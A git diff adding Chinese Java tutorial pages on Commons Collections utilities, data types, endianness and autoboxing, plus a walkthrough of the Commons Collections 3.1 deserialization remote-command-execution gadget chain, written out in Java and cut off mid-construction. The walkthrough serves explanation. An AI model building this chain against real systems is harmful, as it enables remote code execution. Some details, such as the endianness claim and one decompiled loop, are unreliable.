+import org.apache.commons.collections4.CollectionUtils;
+public class CollectionUtilsTester {
+ public static void main(String[] args) {
+ List list = getList();
+ System.out.println("Non-Empty List Check: " + checkNotEmpty1(list));
+ System.out.println("Non-Empty List Check: " + checkNotEmpty1(list));
+ }
+ static List getList() {
+ return null;
+ }
+ static boolean checkNotEmpty1(List list) {
+ return !(list == null || list.isEmpty());
+ }
+ static boolean checkNotEmpty2(List list) {
+ return CollectionUtils.isNotEmpty(list);
+ }
+}
+```
+
+它将打印以下结果。
+```
+Non-Empty List Check: false
+Non-Empty List Check: false
+```
+
+### Commons Collections - Inclusion
+
+检查列表是否是另一个列表的一部分
+
+```java
+import java.util.Arrays;
+import java.util.List;
+import org.apache.commons.collections4.CollectionUtils;
+public class CollectionUtilsTester {
+ public static void main(String[] args) {
+ //checking inclusion
+ List list1 = Arrays.asList("A","A","A","C","B","B");
+ List list2 = Arrays.asList("A","A","B","B");
+ System.out.println("List 1: " + list1);
+ System.out.println("List 2: " + list2);
+ System.out.println("Is List 2 contained in List 1: "
+ + CollectionUtils.isSubCollection(list2, list1));
+ }
+}
+```
+
+它将打印以下结果。
+
+```
+List 1: [A, A, A, C, B, B]
+List 2: [A, A, B, B]
+Is List 2 contained in List 1: true
+```
+
+### Commons Collections - Intersection
+
+用于获取两个集合(交集)之间的公共对象
+
+```java
+import java.util.Arrays;
+import java.util.List;
+import org.apache.commons.collections4.CollectionUtils;
+public class CollectionUtilsTester {
+ public static void main(String[] args) {
+ //checking inclusion
+ List list1 = Arrays.asList("A","A","A","C","B","B");
+ List list2 = Arrays.asList("A","A","B","B");
+ System.out.println("List 1: " + list1);
+ System.out.println("List 2: " + list2);
+ System.out.println("Commons Objects of List 1 and List 2: "
+ + CollectionUtils.intersection(list1, list2));
+ }
+}
+```
+
+它将打印以下结果。
+
+
+```
+List 1: [A, A, A, C, B, B]
+List 2: [A, A, B, B]
+Commons Objects of List 1 and List 2: [A, A, B, B]
+
+```
+
+### Commons Collections - Subtraction
+通过从其他集合中减去一个集合的对象来获取新集合
+
+```java
+import java.util.Arrays;
+import java.util.List;
+import org.apache.commons.collections4.CollectionUtils;
+public class CollectionUtilsTester {
+ public static void main(String[] args) {
+ //checking inclusion
+ List list1 = Arrays.asList("A","A","A","C","B","B");
+ List list2 = Arrays.asList("A","A","B","B");
+ System.out.println("List 1: " + list1);
+ System.out.println("List 2: " + list2);
+ System.out.println("List 1 - List 2: "
+ + CollectionUtils.subtract(list1, list2));
+ }
+}
+```
+
+它将打印以下结果。
+```
+List 1: [A, A, A, C, B, B]
+List 2: [A, A, B, B]
+List 1 - List 2: [A, C]
+```
+
+### Commons Collections - Union
+
+用于获取两个集合的并集
+
+```java
+import java.util.Arrays;
+import java.util.List;
+import org.apache.commons.collections4.CollectionUtils;
+public class CollectionUtilsTester {
+ public static void main(String[] args) {
+ //checking inclusion
+ List list1 = Arrays.asList("A","A","A","C","B","B");
+ List list2 = Arrays.asList("A","A","B","B");
+ System.out.println("List 1: " + list1);
+ System.out.println("List 2: " + list2);
+ System.out.println("Union of List 1 and List 2: "
+ + CollectionUtils.union(list1, list2));
+ }
+}
+```
+
+它将打印以下结果。
+```
+List 1: [A, A, A, C, B, B]
+List 2: [A, A, B, B]
+Union of List 1 and List 2: [A, A, A, B, B, C]
+
+```
+
+原文地址:https://iowiki.com/commons_collections/commons_collections_index.html
\ No newline at end of file
diff --git a/docs/basics/java-basic/api-vs-spi.md b/docs/basics/java-basic/api-vs-spi.md
new file mode 100644
index 00000000..6459290a
--- /dev/null
+++ b/docs/basics/java-basic/api-vs-spi.md
@@ -0,0 +1,10 @@
+Java 中区分 API 和 SPI,通俗的讲:API 和 SPI 都是相对的概念,他们的差别只在语义上,API 直接被应用开发人员使用,SPI 被框架扩展人员使用
+
+
+API Application Programming Interface
+
+大多数情况下,都是实现方来制定接口并完成对接口的不同实现,调用方仅仅依赖却无权选择不同实现。
+
+SPI Service Provider Interface
+
+而如果是调用方来制定接口,实现方来针对接口来实现不同的实现。调用方来选择自己需要的实现方。
\ No newline at end of file
diff --git a/basics/java-basic/arraylist-vs-linkedlist-vs-vector.md b/docs/basics/java-basic/arraylist-vs-linkedlist-vs-vector.md
similarity index 100%
rename from basics/java-basic/arraylist-vs-linkedlist-vs-vector.md
rename to docs/basics/java-basic/arraylist-vs-linkedlist-vs-vector.md
diff --git a/docs/basics/java-basic/basic-data-types.md b/docs/basics/java-basic/basic-data-types.md
new file mode 100644
index 00000000..a54b406b
--- /dev/null
+++ b/docs/basics/java-basic/basic-data-types.md
@@ -0,0 +1,17 @@
+Java中有8种基本数据类型分为三大类。
+
+### 字符型
+
+char
+
+### 布尔型
+
+boolean
+
+### 数值型
+
+1.整型:byte、short、int、long
+
+2.浮点型:float、double
+
+*String不是基本数据类型,是引用类型。*
\ No newline at end of file
diff --git a/docs/basics/java-basic/big-endian-vs-little-endian.md b/docs/basics/java-basic/big-endian-vs-little-endian.md
new file mode 100644
index 00000000..bd770559
--- /dev/null
+++ b/docs/basics/java-basic/big-endian-vs-little-endian.md
@@ -0,0 +1,17 @@
+字节序,也就是字节的顺序,指的是多字节的数据在内存中的存放顺序。
+
+在几乎所有的机器上,多字节对象都被存储为连续的字节序列。例如:如果C/C++中的一个int型变量 a 的起始地址是&a = 0x100,那么 a 的四个字节将被存储在存储器的0x100, 0x101, 0x102, 0x103位置。
+
+根据整数 a 在连续的 4 byte 内存中的存储顺序,字节序被分为大端序(Big Endian) 与 小端序(Little Endian)两类。
+
+Big Endian 是指低地址端 存放 高位字节。
+Little Endian 是指低地址端 存放 低位字节。
+
+比如数字0x12345678在两种不同字节序CPU中的存储顺序:
+
+Big Endian:12345678
+Little Endian : 78563412
+
+Java采用Big Endian来存储数据、C\C++采用Little Endian。在网络传输一般采用的网络字节序是BIG-ENDIAN。和Java是一致的。
+
+所以在用C/C++写通信程序时,在发送数据前务必把整型和短整型的数据进行从主机字节序到网络字节序的转换,而接收数据后对于整型和短整型数据则必须实现从网络字节序到主机字节序的转换。如果通信的一方是JAVA程序、一方是C/C++程序时,则需要在C/C++一侧使用以上几个方法进行字节序的转换,而JAVA一侧,则不需要做任何处理,因为JAVA字节序与网络字节序都是BIG-ENDIAN,只要C/C++一侧能正确进行转换即可(发送前从主机序到网络序,接收时反变换)。如果通信的双方都是JAVA,则根本不用考虑字节序的问题了。
\ No newline at end of file
diff --git a/basics/java-basic/bio-vs-nio-vs-aio.md b/docs/basics/java-basic/bio-vs-nio-vs-aio.md
similarity index 85%
rename from basics/java-basic/bio-vs-nio-vs-aio.md
rename to docs/basics/java-basic/bio-vs-nio-vs-aio.md
index 8436ce99..7349cd3d 100644
--- a/basics/java-basic/bio-vs-nio-vs-aio.md
+++ b/docs/basics/java-basic/bio-vs-nio-vs-aio.md
@@ -1,5 +1,5 @@
### IO
-什么是IO? 它是指计算机与外部世界或者一个程序与计算机的其余部分的之间的接口。它对于任何计算机系统都非常关键,因而所有 I/O 的主体实际上是内置在操作系统中的。单独的程序一般是让系统为它们完成大部分的工作。
+什么是IO? 它是指计算机与外部世界或者一个程序与计算机的其余部分之间的接口。它对于任何计算机系统都非常关键,因而所有 I/O 的主体实际上是内置在操作系统中的。单独的程序一般是让系统为它们完成大部分的工作。
在 Java 编程中,直到最近一直使用 流 的方式完成 I/O。所有 I/O 都被视为单个的字节的移动,通过一个称为 Stream 的对象一次移动一个字节。流 I/O 用于与外部世界接触。它也在内部使用,用于将对象转换为字节,然后再转换回对象。
@@ -25,7 +25,7 @@ Java AIO即Async非阻塞,是异步非阻塞的IO。
BIO (Blocking I/O):同步阻塞I/O模式,数据的读取写入必须阻塞在一个线程内等待其完成。这里假设一个烧开水的场景,有一排水壶在烧开水,BIO的工作模式就是, 叫一个线程停留在一个水壶那,直到这个水壶烧开,才去处理下一个水壶。但是实际上线程在等待水壶烧开的时间段什么都没有做。
-NIO (New I/O):同时支持阻塞与非阻塞模式,但这里我们以其同步非阻塞I/O模式来说明,那么什么叫做同步非阻塞?如果还拿烧开水来说,NIO的做法是叫一个线程不断的轮询每个水壶的状态,看看是否有水壶的状态发生了改变,从而进行下一步的操作。
+NIO (New I/O):同时支持阻塞与非阻塞模式,但这里我们以其同步非阻塞I/O模式来说明,那么什么叫做同步非阻塞?如果还拿烧开水来说,NIO的做法是叫一个线程不断地轮询每个水壶的状态,看看是否有水壶的状态发生了改变,从而进行下一步的操作。
AIO ( Asynchronous I/O):异步非阻塞I/O模型。异步非阻塞与同步非阻塞的区别在哪里?异步非阻塞无需一个线程去轮询所有IO操作的状态改变,在相应的状态改变后,系统会通知对应的线程来处理。对应到烧开水中就是,为每个水壶上面装了一个开关,水烧开之后,水壶会自动通知我水烧开了。
@@ -81,43 +81,6 @@ AIO方式适用于连接数目多且连接比较长(重操作)的架构,
}
}
- //Initializes The Object
- User1 user = new User1();
- user.setName("hollis");
- user.setAge(23);
- System.out.println(user);
-
- //Write Obj to File
- ObjectOutputStream oos = null;
- try {
- oos = new ObjectOutputStream(new FileOutputStream("tempFile"));
- oos.writeObject(user);
- } catch (IOException e) {
- e.printStackTrace();
- } finally {
- IOUtils.closeQuietly(oos);
- }
-
- //Read Obj from File
- File file = new File("tempFile");
- ObjectInputStream ois = null;
- try {
- ois = new ObjectInputStream(new FileInputStream(file));
- User1 newUser = (User1) ois.readObject();
- System.out.println(newUser);
- } catch (IOException e) {
- e.printStackTrace();
- } catch (ClassNotFoundException e) {
- e.printStackTrace();
- } finally {
- IOUtils.closeQuietly(ois);
- try {
- FileUtils.forceDelete(file);
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
-
```
#### 使用NIO实现文件的读取和写入。
@@ -262,4 +225,4 @@ public class WriteToFile {
}
}
-```
\ No newline at end of file
+```
diff --git a/basics/java-basic/block-vs-non-blocking.md b/docs/basics/java-basic/block-vs-non-blocking.md
similarity index 100%
rename from basics/java-basic/block-vs-non-blocking.md
rename to docs/basics/java-basic/block-vs-non-blocking.md
diff --git a/docs/basics/java-basic/boxing-unboxing.md b/docs/basics/java-basic/boxing-unboxing.md
new file mode 100644
index 00000000..84ae2fd8
--- /dev/null
+++ b/docs/basics/java-basic/boxing-unboxing.md
@@ -0,0 +1,335 @@
+本文主要介绍 Java 中的自动拆箱与自动装箱的有关知识。
+
+## 基本数据类型
+
+基本类型,或者叫做内置类型,是 Java 中不同于类(Class)的特殊类型。它们是我们编程中使用最频繁的类型。
+
+Java 是一种强类型语言,第一次申明变量必须说明数据类型,第一次变量赋值称为变量的初始化。
+
+Java 基本类型共有八种,基本类型可以分为三类:
+
+> 字符类型 `char`
+>
+> 布尔类型 `boolean`
+>
+> 数值类型 `byte`、`short`、`int`、`long`、`float`、`double`。
+
+数值类型又可以分为整数类型 `byte`、`short`、`int`、`long` 和浮点数类型 `float`、`double`。
+
+Java 中的数值类型不存在无符号的,它们的取值范围是固定的,不会随着机器硬件环境或者操作系统的改变而改变。
+
+实际上,Java 中还存在另外一种基本类型 `void`,它也有对应的包装类 `java.lang.Void`,不过我们无法直接对它们进行操作。
+
+### 基本数据类型有什么好处
+
+我们都知道在 Java 语言中,`new` 一个对象是存储在堆里的,我们通过栈中的引用来使用这些对象;所以,对象本身来说是比较消耗资源的。
+
+对于经常用到的类型,如 int 等,如果我们每次使用这种变量的时候都需要 new 一个 Java 对象的话,就会比较笨重。所以,和 C++ 一样,Java 提供了基本数据类型,这种数据的变量不需要使用 new 创建,他们不会在堆上创建,而是直接在栈内存中存储,因此会更加高效。
+
+### 整型的取值范围
+
+Java 中的整型主要包含`byte`、`short`、`int`和`long`这四种,表示的数字范围也是从小到大的,之所以表示范围不同主要和他们存储数据时所占的字节数有关。
+
+先来个简答的科普,1 字节= 8 位(bit)。Java 中的整型属于有符号数。
+
+先来看计算中 8 bit 可以表示的数字:
+
+ 最小值:10000000 (-128)(-2^7)
+ 最大值:01111111(127)(2^7-1)
+
+
+整型的这几个类型中,
+
+* byte:byte 用 1 个字节来存储,范围为 -128(-2^7) 到 127(2^7-1),在变量初始化的时候,byte 类型的默认值为 0。
+
+* short:short 用 2 个字节存储,范围为 -32,768(-2^15) 到 32,767(2^15-1),在变量初始化的时候,short 类型的默认值为 0,一般情况下,因为 Java 本身转型的原因,可以直接写为 0。
+
+* int:int 用 4 个字节存储,范围为 -2,147,483,648(-2^31) 到 2,147,483,647(2^31-1),在变量初始化的时候,int 类型的默认值为 0。
+
+* long:long 用 8 个字节存储,范围为 -9,223,372,036,854,775,808(-2^63) 到 9,223,372,036, 854,775,807(2^63-1),在变量初始化的时候,long 类型的默认值为 0L 或 0l,也可直接写为 0。
+
+### 超出范围怎么办
+
+上面说过了,整型中,每个类型都有一定的表示范围,但是,在程序中有些计算会导致超出表示范围,即溢出。如以下代码:
+```java
+ int i = Integer.MAX_VALUE;
+ int j = Integer.MAX_VALUE;
+
+ int k = i + j;
+ System.out.println("i (" + i + ") + j (" + j + ") = k (" + k + ")");
+```
+
+输出结果:i (2147483647) + j (2147483647) = k (-2)
+
+**这就是发生了溢出,溢出的时候并不会抛异常,也没有任何提示。** 所以,在程序中,使用同类型的数据进行运算的时候,**一定要注意数据溢出的问题。**
+
+## 包装类型
+
+Java 语言是一个面向对象的语言,但是 Java 中的基本数据类型却是不面向对象的,这在实际使用时存在很多的不便,为了解决这个不足,在设计类时为每个基本数据类型设计了一个对应的类进行代表,这样八个和基本数据类型对应的类统称为包装类(Wrapper Class)。
+
+包装类均位于 `java.lang` 包,包装类和基本数据类型的对应关系如下表所示
+
+| 基本数据类型 | 包装类 |
+| ------- | --------- |
+| byte | Byte |
+| boolean | Boolean |
+| short | Short |
+| char | Character |
+| int | Integer |
+| long | Long |
+| float | Float |
+| double | Double |
+
+在这八个类名中,除了 Integer 和 Character 类以后,其它六个类的类名和基本数据类型一致,只是类名的第一个字母大写即可。
+
+### 为什么需要包装类
+
+很多人会有疑问,既然 Java 中为了提高效率,提供了八种基本数据类型,为什么还要提供包装类呢?
+
+这个问题,其实前面已经有了答案,因为 Java 是一种面向对象语言,很多地方都需要使用对象而不是基本数据类型。比如,在集合类中,我们是无法将 int 、double 等类型放进去的。因为集合的容器要求元素是 Object 类型。
+
+为了让基本类型也具有对象的特征,就出现了包装类型,它相当于将基本类型“包装起来”,使得它具有了对象的性质,并且为其添加了属性和方法,丰富了基本类型的操作。
+
+## 拆箱与装箱
+
+那么,有了基本数据类型和包装类,肯定有些时候要在他们之间进行转换。比如把一个基本数据类型的 int 转换成一个包装类型的 Integer 对象。
+
+我们认为包装类是对基本类型的包装,所以,把基本数据类型转换成包装类的过程就是打包装,英文对应于 boxing,中文翻译为装箱。
+
+反之,把包装类转换成基本数据类型的过程就是拆包装,英文对应于 unboxing,中文翻译为拆箱。
+
+在 Java SE5 之前,要进行装箱,可以通过以下代码:
+
+```java
+ Integer i = new Integer(10);
+```
+
+## 自动拆箱与自动装箱
+
+在 Java SE5 中,为了减少开发人员的工作,Java 提供了自动拆箱与自动装箱功能。
+
+自动装箱: 就是将基本数据类型自动转换成对应的包装类。
+
+自动拆箱:就是将包装类自动转换成对应的基本数据类型。
+```java
+ Integer i = 10; //自动装箱
+ int b = i; //自动拆箱
+```
+
+`Integer i=10` 可以替代 `Integer i = new Integer(10);`,这就是因为 Java 帮我们提供了自动装箱的功能,不需要开发者手动去 new 一个 Integer 对象。
+
+## 自动装箱与自动拆箱的实现原理
+
+既然 Java 提供了自动拆装箱的能力,那么,我们就来看一下,到底是什么原理,Java 是如何实现的自动拆装箱功能。
+
+我们有以下自动拆装箱的代码:
+
+```java
+ public static void main(String[]args){
+ Integer integer=1; //装箱
+ int i=integer; //拆箱
+ }
+```
+
+对以上代码进行反编译后可以得到以下代码:
+
+```java
+ public static void main(String[]args){
+ Integer integer=Integer.valueOf(1);
+ int i=integer.intValue();
+ }
+```
+
+从上面反编译后的代码可以看出,int 的自动装箱都是通过 `Integer.valueOf()` 方法来实现的,Integer 的自动拆箱都是通过 `integer.intValue` 来实现的。如果读者感兴趣,可以试着将八种类型都反编译一遍 ,你会发现以下规律:
+
+> 自动装箱都是通过包装类的 `valueOf()` 方法来实现的.自动拆箱都是通过包装类对象的 `xxxValue()` 来实现的。
+
+## 哪些地方会自动拆装箱
+
+我们了解过原理之后,在来看一下,什么情况下,Java 会帮我们进行自动拆装箱。前面提到的变量的初始化和赋值的场景就不介绍了,那是最简单的也最容易理解的。
+
+我们主要来看一下,那些可能被忽略的场景。
+
+### 场景一、将基本数据类型放入集合类
+
+我们知道,Java 中的集合类只能接收对象类型,那么以下代码为什么会不报错呢?
+
+```java
+ List li = new ArrayList<>();
+ for (int i = 1; i < 50; i ++){
+ li.add(i);
+ }
+```
+
+将上面代码进行反编译,可以得到以下代码:
+
+```java
+ List li = new ArrayList<>();
+ for (int i = 1; i < 50; i += 2){
+ li.add(Integer.valueOf(i));
+ }
+```
+
+以上,我们可以得出结论,当我们把基本数据类型放入集合类中的时候,会进行自动装箱。
+
+### 场景二、包装类型和基本类型的大小比较
+
+有没有人想过,当我们对 Integer 对象与基本类型进行大小比较的时候,实际上比较的是什么内容呢?看以下代码:
+
+```java
+ Integer a = 1;
+ System.out.println(a == 1 ? "等于" : "不等于");
+ Boolean bool = false;
+ System.out.println(bool ? "真" : "假");
+```
+
+对以上代码进行反编译,得到以下代码:
+
+```java
+ Integer a = 1;
+ System.out.println(a.intValue() == 1 ? "等于" : "不等于");
+ Boolean bool = false;
+ System.out.println(bool.booleanValue ? "真" : "假");
+```
+
+可以看到,包装类与基本数据类型进行比较运算,是先将包装类进行拆箱成基本数据类型,然后进行比较的。
+
+### 场景三、包装类型的运算
+
+有没有人想过,当我们对 Integer 对象进行四则运算的时候,是如何进行的呢?看以下代码:
+
+```java
+ Integer i = 10;
+ Integer j = 20;
+
+ System.out.println(i+j);
+```
+
+反编译后代码如下:
+
+```java
+ Integer i = Integer.valueOf(10);
+ Integer j = Integer.valueOf(20);
+ System.out.println(i.intValue() + j.intValue());
+```
+
+我们发现,两个包装类型之间的运算,会被自动拆箱成基本类型进行。
+
+### 场景四、三目运算符的使用
+
+这是很多人不知道的一个场景,作者也是一次线上的血淋淋的 Bug 发生后才了解到的一种案例。看一个简单的三目运算符的代码:
+
+```java
+ boolean flag = true;
+ Integer i = 0;
+ int j = 1;
+ int k = flag ? i : j;
+```
+
+很多人不知道,其实在 `int k = flag ? i : j;` 这一行,会发生自动拆箱( JDK1.8 之前,详见:[《阿里巴巴Java开发手册-泰山版》提到的三目运算符的空指针问题到底是个怎么回事?](https://www.hollischuang.com/archives/4749) )。
+
+反编译后代码如下:
+
+```java
+ boolean flag = true;
+ Integer i = Integer.valueOf(0);
+ int j = 1;
+ int k = flag ? i.intValue() : j;
+ System.out.println(k);
+```
+
+这其实是三目运算符的语法规范。当第二,第三位操作数分别为基本类型和对象时,其中的对象就会拆箱为基本类型进行操作。
+
+因为例子中,`flag ? i : j;` 片段中,第二段的 i 是一个包装类型的对象,而第三段的 j 是一个基本类型,所以会对包装类进行自动拆箱。如果这个时候 i 的值为 `null`,那么就会发生 NPE。([自动拆箱导致空指针异常][1])
+
+### 场景五、函数参数与返回值
+
+这个比较容易理解,直接上代码了:
+
+```java
+ //自动拆箱
+ public int getNum1(Integer num) {
+ return num;
+ }
+ //自动装箱
+ public Integer getNum2(int num) {
+ return num;
+ }
+```
+
+## 自动拆装箱与缓存
+
+Java SE 的自动拆装箱还提供了一个和缓存有关的功能,我们先来看以下代码,猜测一下输出结果:
+
+```java
+ public static void main(String... strings) {
+
+ Integer integer1 = 3;
+ Integer integer2 = 3;
+
+ if (integer1 == integer2)
+ System.out.println("integer1 == integer2");
+ else
+ System.out.println("integer1 != integer2");
+
+ Integer integer3 = 300;
+ Integer integer4 = 300;
+
+ if (integer3 == integer4)
+ System.out.println("integer3 == integer4");
+ else
+ System.out.println("integer3 != integer4");
+ }
+```
+
+我们普遍认为上面的两个判断的结果都是 false。虽然比较的值是相等的,但是由于比较的是对象,而对象的引用不一样,所以会认为两个 if 判断都是 false 的。在 Java 中,`==` 比较的是对象引用,而 `equals` 比较的是值。所以,在这个例子中,不同的对象有不同的引用,所以在进行比较的时候都将返回 false。奇怪的是,这里两个类似的 if 条件判断返回不同的布尔值。
+
+上面这段代码真正的输出结果:
+
+ integer1 == integer2
+ integer3 != integer4
+
+
+原因就和 Integer 中的缓存机制有关。在 Java 5 中,在 Integer 的操作上引入了一个新功能来节省内存和提高性能。整型对象通过使用相同的对象引用实现了缓存和重用。
+
+> 适用于整数值区间 -128 至 +127。
+>
+> 只适用于自动装箱。使用构造函数创建对象不适用。
+
+具体的代码实现可以阅读[Java中整型的缓存机制][2]一文,这里不再阐述。
+
+我们只需要知道,当需要进行自动装箱时,如果数字在 -128 至 127 之间时,会直接使用缓存中的对象,而不是重新创建一个对象。
+
+其中的 Javadoc 详细的说明了缓存支持 -128 到 127 之间的自动装箱过程。最大值 127 可以通过 `-XX:AutoBoxCacheMax=size` 修改。
+
+实际上这个功能在 Java 5 中引入的时候,范围是固定的 -128 至 +127。后来在 Java 6 中,可以通过 `java.lang.Integer.IntegerCache.high` 设置最大值。
+
+这使我们可以根据应用程序的实际情况灵活地调整来提高性能。到底是什么原因选择这个 -128 到 127 范围呢?因为这个范围的数字是最被广泛使用的。 在程序中,第一次使用 Integer 的时候也需要一定的额外时间来初始化这个缓存。
+
+在 Boxing Conversion 部分的 Java 语言规范(JLS)规定如下:
+
+如果一个变量 p 的值是:
+
+- -128 至 127 之间的整数 (§3.10.1)
+- true 和 false 的布尔值 (§3.10.3)
+- `\u0000` 至 `\u007f` 之间的字符 (§3.10.4)
+
+范围内的时,将 p 包装成 a 和 b 两个对象时,可以直接使用 a == b 判断 a 和 b 的值是否相等。
+
+## 自动拆装箱带来的问题
+
+当然,自动拆装箱是一个很好的功能,大大节省了开发人员的精力,不再需要关心到底什么时候需要拆装箱。但是,他也会引入一些问题。
+
+> 包装对象的数值比较,不能简单的使用 `==`,虽然 -128 到 127 之间的数字可以,但是这个范围之外还是需要使用 `equals` 比较。
+>
+> 前面提到,有些场景会进行自动拆装箱,同时也说过,由于自动拆箱,如果包装类对象为 null ,那么自动拆箱时就有可能抛出 NPE。
+>
+> 如果一个 for 循环中有大量拆装箱操作,会浪费很多资源。
+
+## 参考资料
+
+[Java 的自动拆装箱][3]
+
+ [1]: http://www.hollischuang.com/archives/435
+ [2]: http://www.hollischuang.com/archives/1174
+ [3]: https://www.jianshu.com/p/cc9312104876
diff --git a/docs/basics/java-basic/bug-in-apache-commons-collections.md b/docs/basics/java-basic/bug-in-apache-commons-collections.md
new file mode 100644
index 00000000..cdea3072
--- /dev/null
+++ b/docs/basics/java-basic/bug-in-apache-commons-collections.md
@@ -0,0 +1,252 @@
+Apache-Commons-Collections这个框架,相信每一个Java程序员都不陌生,这是一个非常著名的开源框架。
+
+但是,他其实也曾经被爆出过序列化安全漏洞,可以被远程执行命令。
+
+### 背景
+
+Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。
+
+**Commons Collections包为Java标准的Collections API提供了相当好的补充。**在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
+
+Commons Collections的最新版是4.4,但是使用比较广泛的还是3.x的版本。其实,**在3.2.1以下版本中,存在一个比较大的安全漏洞,可以被利用来进行远程命令执行。**
+
+这个漏洞在2015年第一次被披露出来,但是业内一直称称这个漏洞为"2015年最被低估的漏洞"。
+
+因为这个类库的使用实在是太广泛了,首当其中的就是很多Java Web Server,这个漏洞在当时横扫了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
+
+之后,Gabriel Lawrence和Chris Frohoff两位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection实现任意代码执行。
+
+### 问题复现
+
+这个问题主要会发生在Apache Commons Collections的3.2.1以下版本,本次使用3.1版本进行测试,JDK版本为Java 8。
+
+#### 利用Transformer攻击
+
+Commons Collections中提供了一个Transformer接口,主要是可以用来进行类型装换的,这个接口有一个实现类是和我们今天要介绍的漏洞有关的,那就是InvokerTransformer。
+
+**InvokerTransformer提供了一个transform方法,该方法核心代码只有3行,主要作用就是通过反射对传入的对象进行实例化,然后执行其iMethodName方法。**
+
+![][2]
+
+而需要调用的iMethodName和需要使用的参数iArgs其实都是InvokerTransformer类在实例化时设定进来的,这个类的构造函数如下:
+
+![][3]
+
+也就是说,使用这个类,理论上可以执行任何方法。那么,我们就可以利用这个类在Java中执行外部命令。
+
+我们知道,想要在Java中执行外部命令,需要使用`Runtime.getRuntime().exec(cmd)`的形式,那么,我们就想办法通过以上工具类实现这个功能。
+
+首先,通过InvokerTransformer的构造函数设置好我们要执行的方法以及参数:
+
+ Transformer transformer = new InvokerTransformer("exec",
+ new Class[] {String.class},
+ new Object[] {"open /Applications/Calculator.app"});
+
+
+通过,构造函数,我们设定方法名为`exec`,执行的命令为`open /Applications/Calculator.app`,即打开mac电脑上面的计算器(windows下命令:`C:\\Windows\\System32\\calc.exe`)。
+
+然后,通过InvokerTransformer实现对`Runtime`类的实例化:
+
+ transformer.transform(Runtime.getRuntime());
+
+
+运行程序后,会执行外部命令,打开电脑上的计算机程序:
+
+![][4]
+
+至此,我们知道可以利用InvokerTransformer来调用外部命令了,那是不是只需要把一个我们自定义的InvokerTransformer序列化成字符串,然后再反序列化,接口实现远程命令执行:
+
+![][5]
+
+先将transformer对象序列化到文件中,再从文件中读取出来,并且执行其transform方法,就实现了攻击。
+
+#### 你以为这就完了?
+
+但是,如果事情只有这么简单的话,那这个漏洞应该早就被发现了。想要真的实现攻击,那么还有几件事要做。
+
+因为,`newTransformer.transform(Runtime.getRuntime());`这样的代码,不会有人真的在代码中写的。
+
+如果没有了这行代码,还能实现执行外部命令么?
+
+这就要利用到Commons Collections中提供了另一个工具那就是ChainedTransformer,这个类是Transformer的实现类。
+
+**ChainedTransformer类提供了一个transform方法,他的功能遍历他的iTransformers数组,然后依次调用其transform方法,并且每次都返回一个对象,并且这个对象可以作为下一次调用的参数。**
+
+![][6]
+
+那么,我们可以利用这个特性,来自己实现和`transformer.transform(Runtime.getRuntime());`同样的功能:
+
+ Transformer[] transformers = new Transformer[] {
+ //通过内置的ConstantTransformer来获取Runtime类
+ new ConstantTransformer(Runtime.class),
+ //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
+ new InvokerTransformer("getMethod",
+ new Class[] {String.class, Class[].class },
+ new Object[] {"getRuntime", new Class[0] }),
+ //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
+ new InvokerTransformer("invoke",
+ new Class[] {Object.class, Object[].class },
+ new Object[] {null, new Object[0] }),
+ //反射调用exec方法
+ new InvokerTransformer("exec",
+ new Class[] {String.class },
+ new Object[] {"open /Applications/Calculator.app"})
+ };
+
+ Transformer transformerChain = new ChainedTransformer(transformers);
+
+
+在拿到一个transformerChain之后,直接调用他的transform方法,传入任何参数都可以,执行之后,也可以实现打开本地计算器程序的功能:
+
+![][7]
+
+那么,结合序列化,现在的攻击更加进了一步,不再需要传入`newTransformer.transform(Runtime.getRuntime());`这样的代码了,只要代码中有 `transformer.transform()`方法的调用即可,无论里面是什么参数:
+
+![][8]
+
+#### 攻击者不会满足于此
+
+但是,一般也不会有程序员会在代码中写这样的代码。
+
+那么,攻击手段就需要更进一步,真正做到"不需要程序员配合"。
+
+于是,攻击者们发现了在Commons Collections中提供了一个LazyMap类,这个类的get会调用transform方法。(Commons Collections还真的是懂得黑客想什么呀。)
+
+![][9]
+
+那么,现在的攻击方向就是想办法调用到LazyMap的get方法,并且把其中的factory设置成我们的序列化对象就行了。
+
+顺藤摸瓜,可以找到Commons Collections中的TiedMapEntry类的getValue方法会调用到LazyMap的get方法,而TiedMapEntry类的getValue又会被其中的toString()方法调用到。
+
+ public String toString() {
+ return getKey() + "=" + getValue();
+ }
+
+ public Object getValue() {
+ return map.get(key);
+ }
+
+
+那么,现在的攻击门槛就更低了一些,只要我们自己构造一个TiedMapEntry,并且将他进行序列化,这样,只要有人拿到这个序列化之后的对象,调用他的toString方法的时候,就会自动触发bug。
+
+ Transformer transformerChain = new ChainedTransformer(transformers);
+
+ Map innerMap = new HashMap();
+ Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
+ TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
+
+
+我们知道,toString会在很多时候被隐式调用,如输出的时候(`System.out.println(ois.readObject());`),代码示例如下:
+
+![][10]
+
+现在,黑客只需要把自己构造的TiedMapEntry的序列化后的内容上传给应用程序,应用程序在反序列化之后,如果调用了toString就会被攻击。
+
+#### 只要反序列化,就会被攻击
+
+那么,有没有什么办法,让代码只要对我们准备好的内容进行反序列化就会遭到攻击呢?
+
+倒还真的被发现了,只要满足以下条件就行了:
+
+那就是在某个类的readObject会调用到上面我们提到的LazyMap或者TiedMapEntry的相关方法就行了。因为Java反序列化的时候,会调用对象的readObject方法。
+
+通过深入挖掘,黑客们找到了BadAttributeValueExpException、AnnotationInvocationHandler等类。这里拿BadAttributeValueExpException举例
+
+BadAttributeValueExpException类是Java中提供的一个异常类,他的readObject方法直接调用了toString方法:
+
+![][11]
+
+那么,攻击者只需要想办法把TiedMapEntry的对象赋值给代码中的valObj就行了。
+
+通过阅读源码,我们发现,只要给BadAttributeValueExpException类中的成员变量val设置成一个TiedMapEntry类型的对象就行了。
+
+这就简单了,通过反射就能实现:
+
+ Transformer transformerChain = new ChainedTransformer(transformers);
+
+ Map innerMap = new HashMap();
+ Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
+ TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
+
